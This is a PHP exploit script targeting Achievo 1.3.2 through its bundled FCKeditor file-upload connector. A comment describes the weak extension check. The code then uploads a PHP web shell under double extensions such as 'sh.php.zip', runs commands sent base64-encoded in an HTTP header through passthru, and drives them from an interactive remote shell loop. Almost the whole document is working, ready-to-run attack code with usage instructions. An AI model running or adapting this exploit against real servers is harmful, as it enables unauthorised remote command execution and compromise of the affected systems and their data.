Achievo <= 1.3.2 (fckeditor) Arbitrary File Upload Exploit<?php

/*
	-----------------------------------------------------------------
	Achievo <= 1.3.2 (fckeditor) Remote Arbitrary File Upload Exploit
	-----------------------------------------------------------------
	
	author...: EgiX
	mail.....: n0b0d13s[at]gmail[dot]com
	
	link.....: http://www.achievo.org/
	details..: works only with a specific server configuration (e.g. an Apache server with the mod_mime module installed)
	
	[-] vulnerable code in /atk/attributes/fck/editor/filemanager/browser/mcpuk/connectors/php/config.php
	
	121.	//File Area
	122.	$fckphp_config['ResourceAreas']['File'] =array(
	123.		
	124.		//Files(identified by extension) that may be uploaded to this area
	125.		'AllowedExtensions'	=>	array(`zip`,`doc`,`xls`,`pdf`,`rtf`,`csv`,`jpg`,`gif`,`jpeg`,`png`,`avi`,`mpg`,`mpeg`,`swf`,`fla`),
	
	with a default configuration of this script, an attacker might be able to upload arbitrary
	files containing malicious PHP code due to multiple file extensions isn't properly checked
*/

error_reporting(0);
set_time_limit(0);
ini_set(`default_socket_timeout`, 5);

function http_send($host, $packet)
{
	$sock = fsockopen($host, 80);
	while (!$sock)
	{
		print `\n[-] No response from {$host}:80 Trying again...`;
		$sock = fsockopen($host, 80);
	}
	fputs($sock, $packet);
	while (!feof($sock)) $resp .= fread($sock, 1024);
	fclose($sock);
	return $resp;
}

function upload()
{
	global $host, $path;
	
	$connector = `atk/attributes/fck/editor/filemanager/browser/mcpuk/connectors/php/connector.php`;
	$file_ext  = array(`zip`, `swf`, `fla`, `doc`, `xls`, `rtf`, `csv`);
	
	foreach ($file_ext as $ext)
	{
		print `\n[-] Trying to upload with .{$ext} extension...`;
		
		$data  = `--12345\r\n`;
		$data .= `Content-Disposition: form-data; name=\`NewFile\`; filename=\`sh.php.{$ext}\`\r\n`;
		$data .= `Content-Type: application/octet-stream\r\n\r\n`;
		$data .= `<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>\r\n`;
		$data .= `--12345--\r\n`;
		
		$packet  = `POST {$path}{$connector}?Command=FileUpload&amp;CurrentFolder={$path} HTTP/1.0\r\n`;
		$packet .= `Host: {$host}\r\n`;
		$packet .= `Content-Length: `.strlen($data).`\r\n`;
		$packet .= `Content-Type: multipart/form-data; boundary=12345\r\n`;
		$packet .= `Connection: close\r\n\r\n`;
		$packet .= $data;
		
		preg_match(`/OnUploadCompleted\((.*),'(.*)'\)/i`, http_send($host, $packet), $html);
		
		if (!in_array(intval($html[1]), array(0, 201))) die(`\n[-] Upload failed! (Error {$html[1]}: {$html[2]})\n`);
		
		$packet  = `GET {$path}sh.php.{$ext} HTTP/1.0\r\n`;
		$packet .= `Host: {$host}\r\n`;
		$packet .= `Connection: close\r\n\r\n`;
		$html    = http_send($host, $packet);
		
		if (!eregi(`print`, $html) and eregi(`_code_`, $html)) return $ext;
		
		sleep(1);
	}
	
	return false;
}

print `\n+--------------------------------------------------------------------+`;
print `\n| Achievo <= 1.3.2 (fckeditor) Arbitrary File Upload Exploit by EgiX |`;
print `\n+--------------------------------------------------------------------+\n`;

if ($argc < 3)
{
	print `\nUsage......: php $argv[0] host path\n`;
	print `\nExample....: php $argv[0] localhost /`;
	print `\nExample....: php $argv[0] localhost /achievo/\n`;
	die();
}

$host = $argv[1];
$path = $argv[2];

if (!($ext = upload())) die(`\n\n[-] Exploit failed...\n`);
else print `\n[-] Shell uploaded...starting it!\n`;

define(STDIN, fopen(`php://stdin`, `r`));

while(1)
{
	print `\nachievo-shell# `;
	$cmd = trim(fgets(STDIN));
	if ($cmd != `exit`)
	{
		$packet = `GET {$path}sh.php.{$ext} HTTP/1.0\r\n`;
		$packet.= `Host: {$host}\r\n`;
		$packet.= `Cmd: `.base64_encode($cmd).`\r\n`;
		$packet.= `Connection: close\r\n\r\n`;
		$html   = http_send($host, $packet);
		if (!eregi(`_code_`, $html)) die(`\n[-] Exploit failed...\n`);
		$shell = explode(`_code_`, $html);
		print `\n{$shell[1]}`;
	}
	else break;
}

?>

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